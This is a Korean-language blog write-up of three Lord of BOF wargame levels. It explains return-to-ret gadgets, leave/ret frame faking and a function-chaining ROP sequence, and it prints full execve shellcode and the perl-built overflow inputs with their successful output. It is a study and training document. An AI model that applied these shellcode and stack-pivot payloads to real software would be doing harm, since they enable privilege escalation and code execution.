Post

LOB giant ~ zombie\_assassin → succubus - ROP

giant - one step closer

argv[1][47] == ‘\xbf’ || argv[1][47] == ‘\x40’ 이면 exit stack, library로 return이 불가능하다.

마지막에 memset(buffer, 0, 44); 한다. buffer랑 sfp까지 초기화. 그래도 ret 이후는 남아있다.

당장 생각나는 방법은 shared library의 header를 수정해 library mapping address를 0x40이 아닌 다른 곳으로 바꾸는 것인데… windows의 image base에 대응되는 LOAD 값이 shared library의 경우 0x00000000으로 나온다는게 문제. (readelf -l ) linux는 windows와 달리 library에 정해진 mapping 주소가 없는걸까?

아니면 ret 이후는 남아있으니까,ret 명령어가 있는 곳으로 리턴해서 바로 또다시 리턴하는 방법도 가능할 것 같은데? ret이 c3이니까, 메모리 아무데나 c3인 곳으로 리턴한 다음 거기서 다시 리턴하는거지. 가능할 것 같다. 일단 할당된 곳이 아니면 접근이 안되니까, 할당된 곳 중에 \x40이나 \xbf가 아닌 곳은 code segment인 \x08048000 ~ 이므로 이 쪽으로 리턴해보자.

환경변수에 추가한 쉘코드

export PASS=perl -e 'print "\x90"x64, "\x31\xc0\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'

0x804851e <main+174>: ret

여기로 리턴하면 바로 ret하게 된다.

PASS=0xbffffc2c

[giant@localhost giant]$ ./assassin perl -e 'print "A"x44, "\x1e\x85\x04\x08", "\x2c\xfc\xff\xbf"'

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,▒▒▒ euid = 515 pushing me away

assassin - pushing me away

이전과 같은 조건인데, buffer 초기화를 안하는 대신 strncpy(buffer, argv[1], 48);을 사용해서 ret 이후 공간을 사용할 수 없다. 대신 buffer, sfp를 사용할 수 있을 듯.

역시 code segment의 적당한 곳으로 리턴하는 방법을 사용해야 할 것 같은데, sfp와 ret을 사용할 수 있으니 leave를 이용하면 될 것 같다. leave는 다음과 같이 동작하므로

mov %ebp, %esp

pop %ebp

  1. main에서 leave하면서 pop ebp를 수행하면 입력한 sfp가 ebp가 된다.
  2. leave로 리턴해서 다시 leave를 수행 하게 되면 mov ebp, esp를 수행하면서 sfp가 esp가 된다.
  3. pop ebp를 수행하면서 sfp + 4byte가 esp가 된다.
  4. 실행 흐름에 따라 sfp + 4byte 위치에 저장된 주소로 ret한다. 따라서 sfp를 조정하여 원하는 곳으로 리턴할 수 있다.

sfp에는 내가 리턴하고 싶은 주소가 저장된 곳의 주소 - 4를 입력해야 한다.

* -4는 pop ebp만큼을 보정해준 것.

최종적으로 리턴하게 되는 쉘코드는 위의 환경변수를 사용했고, 입력값은 다음과 같이 구성했다.

PASS=0xbffffc03, BOX=0xbffffee3

b*40개, PASS의 주소를 담은 환경변수 - 4, main함수의 leave 명령어 주소

0x80484df <main+159>: leave

0x80484e0 <main+160>: ret

[assassin@localhost assassin]$ ./zombie_assassin perl -e 'print "b"x40, "\xdf\xfe\xff\xbf", "\xdf\x84\x04\x08"'

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb▒▒▒▒߄

euid = 516

no place to hide

zombie_assassin - no place to hide

여러가지 함수들이 선언되어 있는데, 그 중 DO라는 함수로만 리턴할 수 있다. 사용할 수 있는 곳은 ret + 이후 100byte와 buffer 이전 40byte. stack의 나머지 부분은 초기화한다.

ret 이후 100byte를 사용할 수 있으므로 ROP를 적용할 수 있다.

각 함수에서 stack을 어떻게 사용하는지 파악한 후 적당한 위치에 ret address를 넣어주면 된다. DO - GYE - GUL - YUT - MO 순으로 함수가 호출되어야 하며, 마지막 MO 함수에서 cmd를 인자로 받아 system(cmd)한다.

각 함수가 무슨 작업을 하든

시작할 때

push %ebp

mov %esp, %ebp

종료할 때

leave

ret

하는건 동일하다.

MO는 마지막에

mov 0x8(%ebp), %eax //0x(%ebp) == cmd

push %eax

call system

하므로, cmd를 적절히 위치시켜야 한다.

이를 고려해 입력값을 구성하면 다음과 같다.

b*44개, DO의 주소, GYE의 주소, GUL의 주소, YUT의 주소, MO의 주소, bbbb, cmd로 넘길 문자열의 주소

cmd로 넘길 문자열 주소는 환경변수가 초기화되서 사용 불가능하길래 그냥 한꺼번에 argv로 넘긴 다음 그 주소를 썼다.

[zombie_assassin@localhost zombie_assassin]$ ./succubus perl -e 'print "b"x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08", "\xa0\xfa\xff\xbf"x2, "//////////bin/my-pass"'

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb▒▒$▒▒▒▒▒▒▒▒//////////bin/my-pass welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! euid = 517 here to stay

귀찮아서 마지막에 그냥 bbbb 안쓰고 cmd를 *2 했다.

This post is licensed under CC BY 4.0 by the author.